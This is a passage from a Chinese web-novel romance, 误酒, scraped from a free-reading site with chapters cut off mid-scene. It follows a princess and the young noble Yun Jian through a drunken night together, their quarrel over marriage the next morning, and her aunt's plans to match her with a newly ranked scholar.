二人如此相近,身上的花香瞬即交缠在一处,抓心挠肝的猛烈火舌撩过心头,难言的欲念蓬勃横生。 云谏咬得后槽牙生疼,只恨不得就此将她撕碎,叼着咬着拆吞入腹。 他感觉舌上的伤口都快被自己咬麻木了,只得狠下心去掰她的手,但一握住她的腕子,便似有万钧引力捆束着他,再难放开。 是真的头痛欲裂。 身边人轻促的呼吸宛若千百道魔声,不断催着他更进一步。 他第一次感到自己毫无自制力。 云谏指节动了动,又仓惶闭起了眼:“不行,不可以……” 二人相贴时的微薄凉意就如杯水,面对熊熊巨燃的车薪,治不了标也治不了本,只是聊胜于无的缓兵之计。 随着时间推移,骨髓之内逐渐多出万蚁啃噬 6. 交情 《误酒》全本免费阅读 敞得大开的花窗,迎入浪漫夜色。 晚风微凉,窗旁纱帘晃展而开,缀着的珍珠折射如水月华,细碎微光映到里间,似辰星罗布在榻边。 细密的亲吻落到唇边,延续到脖颈,地上的衣物渐多渐杂,两道人影在软衾里滚作一团。 小郡主意乱情迷,缠紧了身前人,不得章法地摸索。 远方旷野花堆里,猛虎正闯荡得肆意,忽如其来的五柳追逐令它游兴更盛,下一刻,命门却被纤柳纠缠握住,难言的灭顶临危感降临,饶是凶悍猛虎也被激得脊骨发紧。 云谏低.喘了声,扣住黎梨的手腕按到枕边,看见她桃花眼底一层朦胧水雾。 ……看起来迷迷蒙蒙的。 像被厉鞭抽了一道,他难耐地顿住动作,埋首贴在她颈边换气。 缠绵戛然而止,黎梨不明白,为何方才还在俯首称臣的少年突然改了主意,只觉攥着她腕子的双手在微微颤抖。 黎梨想了想:“你在害怕吗?” 停顿许久后,她听到沉闷的回答:“……嗯。” 黎梨:“怕什么?” 云谏没再吭声,混沌的神智让他难以思考,说不清心底顾虑缘何而来。 在他的禁.锢中,黎梨稍侧了脑袋,隐约看见对方紧实小臂上点着砂印,赤红如血。 懵懂间她又有些明白了。 她略微思忖,偏首碰了碰他的额头,示意他看向她的手臂。 少女雪净肌肤上也有鲜红一点,暗藏着不可言宣的禁忌,云谏眸光颤了又颤。 “黎梨……” 他觉得他该对她说些什么,但她伸手掩住了他的唇。 小郡主善解人意地鼓励道: “别怕,大家都是新手,就算待会你表现得非常差劲,我也不会嘲笑嫌弃你的。” 云谏:“……” 谢谢,但他害怕的应该不是这个。 黎梨自问十分体贴,却听见身前的少年无奈地叹了口气,她迷迷糊糊,又被他搂回怀中,只觉对方双臂将她圈得越来越紧。 于是她抬起头,柔软唇瓣贴上他的下颌,辗转向下,在喉颈处的突起轻柔碾蹭,少年胸腔起伏着,终是扣住她的后颈,低下头来抵吻她作乱的唇。 二人缠绕着追逐着远离礁岸,在跌入海潮之际,她隐隐约约听见一声喟叹,似余音萦绕的安抚与承诺。 “你放心……” 揽星楼檐边栖息的雄鹰振翅飞起。 黎梨看不清的视线里光影起伏,虚虚实实,翻起的海潮几乎将她淹没。她第一次知道溺水时会是这样的干渴,就连求生都显得青涩虚弱,只能任他牵着引着,晕乎乎堕入五里雾中。 她握着他的手臂,委屈得几乎落下泪来。 “你故意戏弄我……” “不是的,”他没收回手,贴在她耳边低声劝哄,“慢些来,不然会受伤。” 天幕愈沉,月下潮汐冲涮得海岸湿滑。 晚来的劲风终于贴近格子花窗,趁着阻隔的懈怠缓灌进入,阵阵风力吹拂这方小房,将窗边纱帘的软褶展开又堆起。 黎梨被这风吹得神思颠沛流离,没两下就忘了先前的承诺,细声呜咽着挑三拣四: “这会儿你就不能慢些么?” 云谏闭了闭眼,忍得喉间嗓音微哑:“最慢了……祖宗。” 她将信将疑,葱白指尖拉住他垂下的半缕发束,委委屈屈道:“我不喜欢……” 星月沉溺潜入夜空,风前的纱帘徐徐展开,底下的纱影柔软得似水流淌,云谏在窗景里如鱼得水,清楚感知到她的言不由衷。 他牵着她的手,叫她攀住自己的肩,俯下身来放任二人墨发相缠厮磨。 红烛灯火燎燎,虚化了墙上的两道影子,放眼望去,所有事物的轮廓都变得模糊柔软,身前人的神情里都是摇荡迷离。 黎梨听见他低声笑了下:“是不喜欢,还是不习惯?” 她当真想了想,微挑的眼尾逐渐染上动人桃色,在他的追问里扑颤着羽睫不肯回答。 天际潮意随之而来,浸润劲风,又沾湿了窗台。 四下声响愈繁。 ——大弘王朝接连三月大旱,在祭典结束的今夜,降雨了。 夏末突如其来的夜雨滂沱,雷云摩擦,檐边雨霖铃的银链晃着,发出悦耳动听的声响旋律。 不知几时,远方天穹惊雷乍现,银蛇划破苍空,耀眼电光撞入黎梨的眼帘。 过烈的雷电纵横经脉,毛骨瞬间战栗,黎梨咬紧了下唇,甚至无措得想要躲闪,却被对方紧紧拥入怀中。 他抚过她软嫩的唇瓣,叫她张口,安抚声在耳边响起:“别怕,咬我。” 黎梨在颤抖中松了唇,一口咬上云谏的肩,腹腔中猖狂的火焰应声熄灭。 潮起潮落,天旋地转,从未吃过苦的小郡主精疲力竭,眼睛一闭便晕了过去。 满室暧昧红尘渐静,外头的大雨却下足了一夜,直至卯时日出,朝晖又起。 雨后的阳光分外澄净,穿过花窗,在覆地绒毯上画出一个个光亮小块,几声活泼莺啼叽叽喳喳,紧跟着传入里间。 榻上一道人影动了动。 黎梨酒意散尽,被难言的酸胀唤醒。 “来人……” 她有气无力唤了声,却不见一向忠心尽职的侍女有所回应。 黎梨勉强撑开一条眼缝,迷糊中看见一片不太熟悉的房景。 正前方是扇半阖屏门,其后有张摆满碗碟的雕花圆桌,上面一只白釉酒壶鹤立鸡群,仰着雅致的细颈,静静立着润泽生光。 酒壶四周仍弥漫着浅淡的清香。 ——是某种不知名的花香。 仿佛触动了什么机关,昨夜的荒唐记忆瞬起如潮,一浪拍上心礁,黎梨猛然睁大了眼睛。 玩过火了呀! 这下什么睡意都没了。 黎梨慌了神想要起身,腰间却传来一道箍力。 一只修长匀称的少年手臂揽着她,似被她的动作惊扰,半梦半醒间将她往自己那边紧了紧。 小郡主头皮一阵发麻。 险些忘了这人的存在了! 她僵直着垂下视线。 没有任何衣料阻隔,对方手臂直接环贴在她的腰上,二人肌肤相挨,亲昵得不像话。 黎梨看见他的小臂白皙干净,昨夜鲜红的守宫砂早已消失无踪。 想起事情的起末,黎梨有些心梗,区区几杯薄酒就让她乱了性,她的酒量何时如此之差了? 又想起对方数次推她拒她,然后……她花言巧语,抬手缠腿将那人吃了个干净。 真是造孽。 黎梨在心中默念了句佛。 她放慢了动作侧过身,想看清被自己辣手摧残的鲜花是何模样,却先看到了他肩头的小巧牙印。 小郡主的娇靥又添了几分粉色。 此人侍寝……也算有功,若是他有什么想要的赏赐,不过分的话,她都可以满足。 腰间手臂的主人似有所感,稍动了下。 黎梨顺道转过身去,桃花眼眸光掠过,与惺忪转醒的少年对上了视线。 ——非常熟悉的一张脸。 黎梨再三看清,彻底懵住,只觉受了五雷轰击,差点就要咬断自己的舌头。 对方的眼神迷茫、疑惑、惊骇,不断变换着。 “云谏?” 黎梨崩溃得险些失声:“你……你……” 昨夜那个温柔体贴的乐伶去哪儿了?怎么会是这个倒霉冤家躺在她身旁? 她一把甩开对方的手,刚从被窝里坐起,身子一软又歪了下去,与昨夜别无二致地栽入云谏怀中,扑了他满怀。 云谏惊愕看着她。 黎梨生无可恋地闭上眼:杀了我。 没有刀子长剑架到她脖子上,与之相反的是,带着体温的软衾盖上了肩头。 如今酒醒药退,云谏清醒无比,连带着手里的温软触感也分外清晰,下意识就拿被子将怀里的人裹了起来。 黎梨再次掀起眼睫,与他视线相交,二人纷纷一顿,随后被针扎了似的各自弹开,一左一右贴上了床框。 黎黎揪紧锦被,束手无措。 云谏随手扯了角布料盖住腰腹,瞥见床榻间一片凌乱糊涂。 全是痕迹。 昨夜的记忆如飞流撞入心谷,一向张扬的少年赧然别开了脸:“今日!今日我就请父亲上门提亲!” 黎梨不敢置信,睁大眼看向他。 ……他想结亲? 可她与他之间半分情份都没有,怎么可能因为一夜风流就结亲? ……况且,说没有情份都已经算是客气的了,二人自相见的第一面起,嫌隙就深得难以跨越—— 七年前,云家戍边立功,云天禄将军受伤至残,圣上准允云家归京,传令文武百官以礼相迎,京街沿途尽是大战告捷的欢声笑语。 礼台之上,只有年幼的黎梨眼泪汪汪,半颗心牵挂着低调离京的阿兄,舍不得他替任云将,远赴遥遥边关。 另半颗心牵挂着病重的公主娘亲,只盼冗余的迎礼早些结束,好回去与她多说几句话。 然而待马蹄声近,高台震鸣,一道疾风席卷而来,她鬓边的红玉对簪里,其中一支被拂落高台。 ——那是娘亲新赠她的生辰贺礼,娘亲说这对簪子刻有宝相花纹,寓意吉祥,定能保她未来的日子美满如意。 此时其中一支玉簪骤离,黎梨连忙擦掉眼尾的泪珠,扑上围栏向下探看,却与下方的骑马少年对上了视线。 少年琥珀色泽的眸光微凉,正扬鞭经过,身下马蹄无情,蹄铁精准踏中簪子。 黎梨当场怔住,好像在震天马蹄声中听见了玉碎的声音。 似有所应的是,下一刻她身后的人声嘈杂起来,攒动的人影被分成两拨,公主府的内侍管事从后哭喊着挤上前,要带她回府。 他说:“郡主,锦嘉长公主薨了……” 彼时黎梨气血一瞬散尽,面色白得像纸,恍惚间瞧见了高台下的盛景。 云家迎礼隆盛,每一个角落都挂着喜庆,只有那根寓意美满的玉簪死寂无声,躺在石砖上碎成了细块,又被后继的马蹄踏成齑粉。 云家的喜贺,送走了她的阿兄,踏碎了她的团圆如意,甚至害她没见到娘亲的最后一面…… 黎梨明白这一切都是“巧合”在作祟,怨不得云家。 但她所有的不顺心都与云家息息相关,更与眼前人脱不了关系,有这样的过往存在,谁能保证心中毫无芥蒂? 这么多年来,她与云谏的交情比之白水还要淡薄,这样的关系又怎么能够结亲? 得不到她的回应,云谏抬起些眼帘,见到裹成一团的姑娘紧贴着身后的床框,昨日还泛着春情的桃花眼里,如今尽是抗拒。 澎湃的心跳一点点沉了下去。 昨夜酒药作祟,她信口胡诌的情话,他竟然信了,简直是天真。 7. 负责 《误酒》全本免费阅读 黎梨攥着被子的五指又收拢了些,莫名想起昨夜沉浮之间,她贴在他颈侧不自禁道出的某些荒唐话。 她咬了下唇,微上移些视线。 面前人眼也不眨看着她,嘴角眉梢都带着粲然笑意,甚至有几分轻快。 黎梨被他看得耳朵尖都在发烫,正支吾时忽地看见他轻偏了下头,少年的注视里似乎充满了好奇与探究。 黎梨一怔,而后立即反应了过来。 他又在捉弄她! 她心火冒起,咬牙挤出话来:“反,正,不,成,亲!” “我与云家八字不合,命中犯冲,与你话不投机半句多,如何能成亲?” 黎梨端起郡主的架子,抬起下巴睥睨道:“姨母说过,贞洁不在罗裙之下,所以我不需要你负什么责任。” “此事就当作从未发生过吧,往后我们一切照常即可。” ——当作从未发生过。 ——一切照常。 云谏将她的一字一句都嚼碎了,唇角的弧度逐渐敛下。 她倒是看得开。 发生这样的事,他担心她害怕伤神,只恨不得自己的表态能再坚定些,好叫她放心。 原来又是可笑的自作多情。 说不清是相争惯了,还是可笑到头的回击,云谏想也不想就反驳道:“你说照常就照常了?” 他冷笑着说:“你们天家贵女可以风流无度,自然无需我负责。但我们云家家规甚严,子孙后嗣绝不二色,所以——” “既有昨夜之事,我已经无法再娶旁人了,不管你怎么说,都必须对我负责!这亲一定要结!” 黎梨听见这番迂腐理论,简直难以置信:“你……你竟是这样的老古板?” 她忽地想起什么,急急坐直了身:“少胡说八道了,什么不二色?你那堂叔鳏居之后不是娶了续弦吗?” 云谏面色不改:“他是他,我是我,我发过毒誓,违反家规就天打雷劈。” “无理取闹!你自己发的毒誓,何故非要赔上我?” 黎梨直接给气笑了:“我就不嫁!我且等着看你日后还要不要娶妻生子,届时洞房花烛会不会招惹毒誓应验!” 云谏话语止住,小郡主倨傲地仰着脸,神情里明晃晃写着:想娶我?做梦!你还是被雷劈去吧! 云谏一时语噎,望着那双漂亮的桃花眼,半晌无语。 但凡她有些活跃的小心思,那双天生含情的眼睛里总会荡漾起粼粼波光,轻易就能叫人心跳乱掉几拍,这样的姑娘,谁能想到她开口就能把人气死呢? 黎梨拿定了他对她无可奈何,此事只能不了了之,凑上前笑道:“云二公子,我劝你还是想开些吧……” 云谏看了她一会儿,不紧不慢扯出个笑来:“……呵。” 黎梨脸上神色一顿,蓦地想起昨日在揽星楼走廊里的乐伶之争,突然有些不好的预感。 云谏果然慢条斯理地开了口:“原本我怜惜你酒后无知,不忍坏你名节,想着我们私下处理即可。” “但你不仁,就别怪我不义了。” 在黎梨警觉起来的目光中,他懒洋洋靠上床框,俨然又成了个无赖:“既然你不愿意对我负责,那我只能厚着脸皮去找圣上哭诉昨夜之事了。” “圣上仁慈,又清楚我云家家规,若他知晓我被你占尽了便宜,定会为我做主赐婚的,到时候你不嫁也得嫁……” “你敢!” 听闻要闹到圣上跟前去,黎梨像只被踩中尾巴的小猫,瞬间炸了毛: “我警告你,若你敢将此事告诉舅舅,那我,那我……” 她“我”了半天,心一横:“我就同他说是你强迫于我的!到时候别说赐婚了,你小心点保住自己脑袋吧!” 云谏仿佛听见了天大的笑话: “我强迫于你?” 他目光往黎梨身上一扫,后者戒备地拢紧了被子。 云谏不屑地嗤了一声,撇过了头,隐在乌发下的耳朵却有些发红。 “昨夜我半点力都不敢用,你自己回去看看,你身上能有几处痕迹?相比之下……” 他侧过身来,几道细利的指甲挠痕横贯了他的背,再回正身时,胸腹上的抓痕也历历在目。 “你瞧瞧我这身伤!圣上明察秋毫,一眼就能分辨清楚,到底是谁用了强!” 黎梨:……用强的竟是我自己? 竟然有些哑口无言。 “好哇,你……” 姨母说的真是没错,情场老手才好相与,反倒这些贞洁烈男最为难缠! 还未成亲呢,这人已经敢威胁她了,若是真成了亲,岂不是要受他拿捏? 黎梨气到最后莫名委屈了起来: “果然!男人都不是什么好东西!” 云谏被骂得莫名其妙,眉心一蹙却想起了她那不靠谱的父亲。 黎相政绩卓然,但私德实在不好,他见异思迁、偏心妾室,整个京城人尽皆知。 自锦嘉长公主离世后,黎梨多看一眼她父亲都嫌脏,干脆搬去与姨母安煦长公主同住。 ……她自幼看着父亲行举龌龊,排斥成亲也正常。 那边的少女半低着脸,几乎要把自己全埋进被子里,云谏缄默良久,终究是退了一步。 他伸手到榻下的衣物里摸索,片刻后掏出块质感厚沉的脂白玉佩,一声不吭将它塞进了黎梨手里。 那块玉佩离身已久,却天然带着宜人的温润,突然塞入手中也不觉得冰凉,显然并非凡品。 黎梨懵然低头看了看,指腹抚过那个绘纹刻镂的“云”字,问道:“这是什么?” “我家藏库的信物。” 云谏随着她指尖的动作瞟了眼:“我父亲常年在营,兄长一心向道,母亲离世后这信物便由我拿着。” “云家历年的战功奖赏、私产资财都在藏库里,你拿着信物,通行无阻,可以随时……” 黎梨逐渐回过神来,着急忙慌就要将它扔回去:“我不要!” 然而云谏动作更快,立即将她的手与玉佩一并握进了自己掌心。 黎梨手里的玉佩宛若烫手山芋,偏偏自己的手还被人紧紧握住,想扔也扔不了,她连挣几下都挣不开,急得脸都红了:“我说了我不……” “你不是叫我慎重?”云谏打断道。 “那你这样想也不想,一口回绝我,难道就算得上慎重吗?” 黎梨的动作顿住。 云谏五指修长,匀称的骨节带着长年握剑的力量感,与昨夜的肆意不同,眼下只是老老实实地将她的手握着。 “我也不是很差劲的人。”少年嗓音有些闷。 “你就不能……考虑一下?” 黎梨的眸光微微晃了晃。 这么多年来,她与云谏见面就能吵,他没皮没脸又诡计多端,向来不怕她的刁难,这还是她第一次见他服软低头。 云谏见她不挣扎了,便松了手,将那玉佩的络子缠上她的腕。 “我耐心很好,可以等你慢慢考虑,但我担心你并不将此事放在心上……这玉佩代表的云家藏库是我娶亲的红聘,我将它给你,是希望你明白我的认真……” “你记着我的认真,再考虑得仔细一些,可好?” 言毕满室皆静,二人心绪百转千回,牵着那枚玉佩相顾不语。 直到窗外又有几声雀鸟鸣啼,清清脆脆的声音打破这阵沉寂氛围。 黎梨说不清是何想法,在云谏的注视下,慢吞吞拢起了指尖。 她将那枚脂白玉佩握进掌心,“嗯”了声,当作答应了。 云谏心头的沉压骤然轻了几分,朝她灿然一笑。 小郡主权当看不见,只隔着被子踢了踢他,小声掀过这章话篇:“你把我的衣裳递给我。” 二人背对着穿好衣物,黎梨转过身时,云谏已经将痕迹斑驳的床单扔入铜盆里烧了。 一同被火舌埋没的还有她的帏帽。 黎梨蹙眉望着那火盆。 云谏解释道:“昨夜有雨,帏帽近窗,已经脏湿不能用了。” “这样啊……” 黎梨低下头,苦恼地抻着身上的交襟襦衫,上面几道被人揉乱的褶皱分外明显。 云谏:…… 他轻咳了声,佯装无事地移开视线,递上在街口一并买的骑马披用的薄帔:“你先用着这个?” “算了。” 黎梨信手推开:“这是男子用的,我披着也不合身。” “没关系,距离街口也就几步路,我们快些上山回行宫就是。” 云谏点点头,带她绕过层层叠叠的纱帘屏风,二人走出这栋灯红酒绿的木楼。 乍见敞亮日光,黎梨忍不住眯了眯眼,眼睛尚未看清,耳旁便传来街坊小贩们的笑语。 “不愧是云承国师,神机妙算,昨日祭典一结束,便下了好大一场雨……我田里的庄稼总算有救了!” “可不就是!这次祈雨祭典诚意十足,万盼天上的薰风仙童与瑶水仙女不要再闹矛盾了,若是再来三月大旱,我们凡人百姓哪里遭得住……” 黎梨逐渐适应了外头阳光,稍稍眨眼就看见了崭新的街景。 湛蓝清澈的天幕下,街市乌瓦一扫尘埃,高挑房梁木柱被雨水冲刷得棕亮,灰白石砖也露出原本的亚青色泽来,甚至砖缝间也新生了好几簇草芽,处处都显出一派欣欣向荣的好气象。 黎梨瞧着这番奇景,听着百姓们犹在夸云承“次次都料事如神”,难得沉默一息。 正想叫云谏早些回去,却忽然有一道箍力握住了她的手腕。 还未来得及惊讶,云谏便一把将她拉到了自己身后,将她结实挡住。 黎梨懵然抬起眼,只看见少年劲瘦的背影,被他随意束起的辫子碎发撩了撩脸颊。 一道熟悉的嗓音响起,远远朝这边招呼道:“云二?” 云谏应了声:“三皇子。” 黎梨闻声挑了挑眉,萧煜珏?怎么又遇上他了? 似是回应,另一道男子嗓音随之传来:“云二公子!竟然在这儿碰到你了,真是好巧!” 这声音也有些熟悉。 黎梨揪住云谏袖边,悄悄探头想看清 8. 骗子 《误酒》全本免费阅读 “郡主!” 黎梨才踏进院子,守在门边的两名侍女就扑了上来。 一名鹅蛋脸侍女几乎是在尖叫:“我寻了你一夜,你去哪啦?” “……紫瑶。” 黎梨侍女不少,但自幼就跟着她的也就两位,面前紫瑶算是其一。 有打小的情份在,黎梨心知她年长两岁,素来爱操心,便也不计较那些虚礼,乖乖解释了句:“我下山了,因雨路难行,所以耽误了回行宫。” 紫瑶一把拉住她,围着她上上下下地看,嘴里倒豆子似的说个不停。 “郡主糊涂!且不提昨天是多么紧要的日子,你本就不该偷跑,单说你真要下山,好歹也该带些人,不然若是碰到些什么——” 话才说一半,她猛一眼看见黎梨被匕首割破的裙边,抬首又撞见对方凌乱的衣襟,顿时吓得花容失色,结舌道:“郡,郡主……” “我没事,”黎梨及时抬手按下她的话头,“不过是避雨时狼狈了些。” 她紧着缓着糊弄了紫瑶去安排备水沐浴,才想松一口气,又发现一名圆脸侍女满脸疑惑地看着自己。 是另一名自小跟着她的,名唤青琼。 黎梨:“怎么了?” 青琼说道:“郡主,你身上的香好像变了,怎么出去一趟还换了香回来……” 黎梨这才想起身上酒气未散,赶紧拉住对方叫她噤声:“路上蹭的罢了,小声些别被紫瑶听见,不然又得问一堆话。” 青琼心大,懵懵懂懂就点了头,又道:“昨日我们找不着郡主,惊扰了长公主殿下,殿下叫你回来的时候去见她呢。” “……”这下黎梨是真的有些头疼了。 她揉了半晌额角:“沐浴后再去吧。” 丫鬟们麻利地备好香汤,黎梨屏退众人,独自进了浴间。 氤氲水雾中,罗衫滑落,温水浸没身躯,一直紧绷着的思绪终于松缓下来。 黎梨趴在浴桶边缘,枕着自己的手臂发呆。 褪下的衣裙层层叠叠堆在旁侧,一枚浑圆的脂白玉佩半埋其间。她目光扫过一眼,又匆匆移入雾气里,随手捻起水面上漂浮的新鲜花瓣,似在打量,心绪却已经走远。 他竟然想结亲。 才平静些许的脑海又泛起涟漪。 黎梨想起他那句“你记着我的认真”,竟从他的神情里读出些一反常态的恳切。 太不对劲了,那人就像被鬼魂夺了舍似的,以致于当时她甚至鬼迷心窍地点了头。 现在回想起来,大概二人都冲动了……最好就是过多几日,等大家都冷静下来,寻个时机将这玉佩还回去。 不然,平白占着别人家的藏库信物,到底不像话。 打定主意,黎梨心神稍定,松开了手,然而沾湿的花瓣黏在指尖,不肯轻易落下。 她注视那枚梨白花瓣片刻,浇水冲掉了它,花香离散,干净的食指边缘却露出一道齐整印痕。 半圆一般的弧度,浅浅泛着红。 黎梨怔愣半晌,凝神思索这印痕的由来。 ……隐约有些印象。 好像是起初某个时刻,她紧张蜷起,不自觉掐住了云谏的手臂。 彼时弓着腰的少年刚被困进樊笼,意味含糊地倒吸着气,百般哄不得她放松,只得反握住她的手,牵到嘴边轻咬了一口。 “……” 黎梨脸上骤热,羞恼得一头扎进了浴桶里。 他不是说没有留下痕迹吗? 骗子! * 一行人垂目静步往长公主的院子走去。 为首的少女裙衫荼白,巧致的风铃花绣缀于裙边,与杨妃粉色的交襟襦衫相衬,为这座镂金铺翠的华贵行宫添了些娇嫩颜色,引得树梢的鸟儿也驻足侧目看了看。 黎梨刚沐浴完,吹着夏末的晨风收拾两头三绪,不知不觉便走近了丝竹声。 蜀锦绣鞋停在长公主的主殿阶外,她一抬头又听见几道奉承笑语。 “妙笔!” “长公主画得真好!” 黎梨习以为常地提起裙摆,拾阶而上。 她这位姨母——安煦长公主,离经叛道人尽皆知,大到所谓的妇道名节,小到常仪礼制,通通都不放在眼里。 大弘王朝,显贵人家的前殿都是用来宴客酬宾的,她却偏要放一张硕沉的乌木画案,每日泼墨山水。 还要召来一群美男乐伶陪侍,美名其曰“听韵行墨”。 前段时间要为祭典净宿,安煦到底收敛了几日,直到昨日祭典结束,半夜降下甘霖,眼见圣上龙颜大悦准备庆祝,她便不再装模作样,今日就摆上了画案。 黎梨总觉得自己身上的不安分,应该是近墨者黑。 她进了前殿,目不斜视地穿过乐伶们的坐席,先端正行了礼,而后自然而然地坐到了画案对面。 “姨母,你找我?” 华裳金妆的年轻妇人提着狼毫,闻声略微抬起头来,明眸朱唇被那张乌沉画案衬得熠熠生辉。 安煦长公主俨然继承了先皇一脉的顶好相貌,虽早早守了寡,但从未委屈过自己,如今二十八九的年岁,愈发显得风致艳丽。 她斜眼扫了黎梨一圈,见对方气色颇好不似受了委屈,这才不紧不慢哼了声。 “舍得回来了?” 梨梨一脸老实:“姨母说笑了。” 安煦挥挥手屏退一众伶人,仍兀自描绘自己的新作,嘴里的话却是对着黎梨说的:“昨日去哪了?” “可别提了。” 黎梨拿出早已准备好的托辞,佯装郁闷道:“我下山找了家茶楼听书,一不小心忘了时辰,被大雨困住了脚步,所以才耽误了回行宫。” 她嘟囔着:“没玩到什么,回来还被告知惊扰了姨母,委实有些倒霉。” “茶楼,听书?” 安煦将信将疑,挑眉盯着她,半晌看不出端倪后搁笔叹了口气。 “迟迟。” 是黎梨的乳名。 黎梨莫名想起幼年时的一幕,那时的少女安煦将她抱在怀里逗乐:“你可知你这乳名是怎么来的?” “那年冬寒太久,你的出生也比太医院算的日子晚了许多,可把一大家子人吓得够呛……后来才听人说,春晚梨花迟……” 少女笑眯眯地蹭着她的脸:“迟迟小坏蛋连出生都如此顽皮淘气,往后还能不能让我们省心些?” 此时年轻妇人的声音响在耳畔:“还能不能让我省心些?” 黎梨恍惚回过神来。 长公主旋过身正对着她,语气幽幽怨怨的。 “你听书倒是悠闲,可知我在这儿替你瞒得多么辛苦?祭典 9. 温柔 《误酒》全本免费阅读 听她这话,黎梨疑惑地抬起头来。 先前在揽星楼门口,确实听闻萧煜珏说圣上准备设办酬谢宴,但这与她的终身大事有何关系? 安煦美目中光芒流转,掩唇笑道:“想必你应该知晓,金榜已出,三甲之中就数那位探花郎最为夺目——” “据说那人年纪尚轻却才情过人,还生得相貌堂堂,揭榜那日当场被你父亲看中,举荐为户部司侍郎,一时之间风头无二。” 她抬手捏了捏黎梨的脸颊:“他会出席此次酬谢宴,京中闺秀都期待着呢,你不去看看?说不定你们俩一见钟情,自此造就一段风月佳话……” “我当是什么呢。” 黎梨听完,懒洋洋拨开了她的手:“不过是位迂腐书生罢了,我没兴趣。” 安煦毫无意外地笑了声,心中却道那可说不准了。 关于那位新科探花郎,还有一点她没说——黎梨的父亲黎百鸿举荐此人,恐怕不仅仅是因为惜才。 安煦眸光落到不远的空旷处,悠哉眯起了眼。 两年前,在黎梨的及笄礼上,云承国师为她卜过卦,卦语预言了她的命中姻缘,此事曾在京中掀起轩然大波,但凡想要攀圣宠、结黎相的高门大户,无一不在蠢蠢欲动。 然而那则卦语含糊,彼时京中少年英杰者众,但也找不出一个合卦得令人心服口服的,久而久之,这事也就渐渐被人忘于脑后了。 直到这位出自遥遥边关的探花郎一朝登京,黎家的长辈们敏锐地发现,此人这么巧又那么邪乎,竟然就合上了卦。 而且合得几近完美。 黎家将此事放在了心上,今晨黎百鸿甚至破天荒地来拜见了他口中“荒淫无道,不足深交”的安煦长公主,好声托她千万盯着黎梨去参加酬谢宴,多少要与那探花郎见上一面。 按云承所说,那二人是奇缘天定,情意极其深重……想必头次见面就会对上眼缘吧? “姨母?”见她走神,黎梨唤了声。 安煦轻微垂眸看了眼身边的小郡主。 黎梨一脸乖巧:“听着无聊,我不去酬谢宴行不行?” 安煦:……什么郡主,分明是个刺儿头。 黎梨向来不拿云承当一回事,一口一个“神棍”,安煦却知道云承算卦有几把刷子,包括昨日的祭典祈雨在内,从未出过差错。 此事关乎自家外甥女的姻缘大事,自然由不得她任性。 安煦:“必须去,多少去看个热闹。” “一个探花郎算什么热闹?” 黎梨不满嘀咕道:“满京城都是男人,他又不是长了三条胳膊四条腿,我稀罕他做什么?” 听见这堪称幼稚的话,安煦咯咯笑了起来,又拿手指点她,语气里难掩暧昧。 “到底是年轻,往后你就知道了——寒士书生文气体贴,最懂得温柔伺候人。” 闻言,些许起伏重叠的光影片段划过心海,黎梨羽睫颤了颤。 “依我看,未必要书生,习武之人也有懂得温柔伺候的。” 此声落地,殿内诡异地静了一瞬。 黎梨后知后觉捂住了嘴。 那原是一句腹诽,不知怎的犯了糊涂,竟然说了出来! 安煦意外地挑起了眉,似在琢磨她这话语背后的含义。 黎梨心道不妙。 她目光飘移,趁着姨母未发话,悄悄松了手,挪着步子往门口去。 “好了姨母,我会参加酬谢宴的,那什么,那我先回去写功课了……” 然而—— “站住。” 安煦将她喝住,远远将她打量了一圈,视线停在她脖颈一侧。 那几道紧贴着脖子的发辫,凭空多了些欲盖祢彰的意味。 该不会是在遮掩些什么吧? 她问道:“你昨日当真只是去听书了?” 黎梨感觉脖子旁边凉飕飕的,下意识捋了下辫子,却不知这动作叫人看着更觉心虚。 她硬着头皮点了点头。 安煦冷笑了声:“那你来同我说说,你是怎么知道习武之人……” 就在这时,几道尖叫声从窗边炸响,将房内二人吓了一跳。 安煦拧眉望去,三五位裁弄花草的侍女正在窗外上蹿下跳,闹得不可开交。 有内侍匆匆上前回禀:“殿下,是林间山猫闯了进来,外头正在驱赶呢。” 此处行宫背靠宗继山脉,花草丰美,偶尔有些山野灵兽误入,倒也不算什么稀罕事。 安煦颔首示意她知道了,正想继续盘问她的外甥女,谁知一转头,面前早已空荡荡一片。 某个鬼机灵趁这一阵骚乱,早就带着自己的侍从们跑了个没影。 安煦顿在原地,好气又好笑。 * 黎梨来时还悠悠然的,此时却快步跑出了长公主的院落,穿入花园里的长廊。 紫瑶等人追在后面:“郡主,慢些!” 黎梨回头道:“慢不得!我发现了,但凡出门就要倒霉!想必是这几日黄道不吉,还是快些回院子吧,不然……” 后面的紫瑶脸色忽变,青琼失声叫道:“郡主——” 黎梨不明所以,还未来得及回头便猝然撞上一道温热胸膛,踉跄几步就要跌倒。 手臂处传来一道托力,有人稳稳搀住了她,少年松快的嗓音响在头顶:“不然怎么样?” 黎梨揉着撞疼的肩,懵然抬头:“……云谏?” “你怎么在这?” 云谏“啊”了声,随口应道:“我去找你,你院子里的人说你来长公主这儿了。我想着你出去一夜,不知能否应付长公主的盘究,便赶了只山猫进去,果然——” “就看见你逃命似的跑出来了。” 山猫是他放进去的? 黎梨心下一慌,方才她在前厅口出狂言,可未曾收着声量。 她悄然打量对方的神色,有些踟蹰:“你有没有听见……” 云谏:“什么?” 少年面色如常,不像撞见了狎昵之言的样子。 黎梨默默压下了话头。 后面的紫瑶等人扑了上来,拉着她上下确认有无受伤。 人多了起来,她更不出声了。 云谏瞟了眼围成了圈儿的丫鬟们,往后撤了几步。 “你随我来,我有东西给你。” 青琼知晓自家郡主与他打小就不对付,本就气他撞疼了郡主,闻言更觉不快:“云二公子,还请您自重,若真有什么东西,在这给就行……” 一旁的紫瑶不知想起了什么,看清那二人说话的模样,忽然拉住青琼,朝她摇了摇头。 青琼正不解着,就见小郡主略微沉吟,回身低低吩咐了句:“你们在此等我吧。” 她着实吃了一惊,与紫瑶对视了一眼。 黎梨心中有鬼,慢吞吞地跟着云谏来到稍远的长廊拐角,做贼似的避开了心腹们的视线。 “给我吧。” 云谏从身边拿出个竹质圆筒,碗口大小,稍一晃便有水声在内撞响。 “你要的避子汤,我已经煎好了,”他嘱咐道,“你待会趁热喝。药师说了,服药后五日不可饮冰,不可受凉,不可贪食寒性瓜果——” “知道了。” 黎梨伸手去拿竹筒,小声嘀咕道:“比宫里的陈嬷嬷还要唠叨。” 云谏话语被噎住:“我唠叨?” 他不乐意了,手腕一转就收回了竹筒。 “没良心!为了这药,我被药堂掌柜当作见不得光的奸夫,躲后厨煎药又被厨工们怀疑隐疾,担心你受为难还去捉了只山猫……我这般费心劳神,到你跟前就得了句‘唠叨’?” 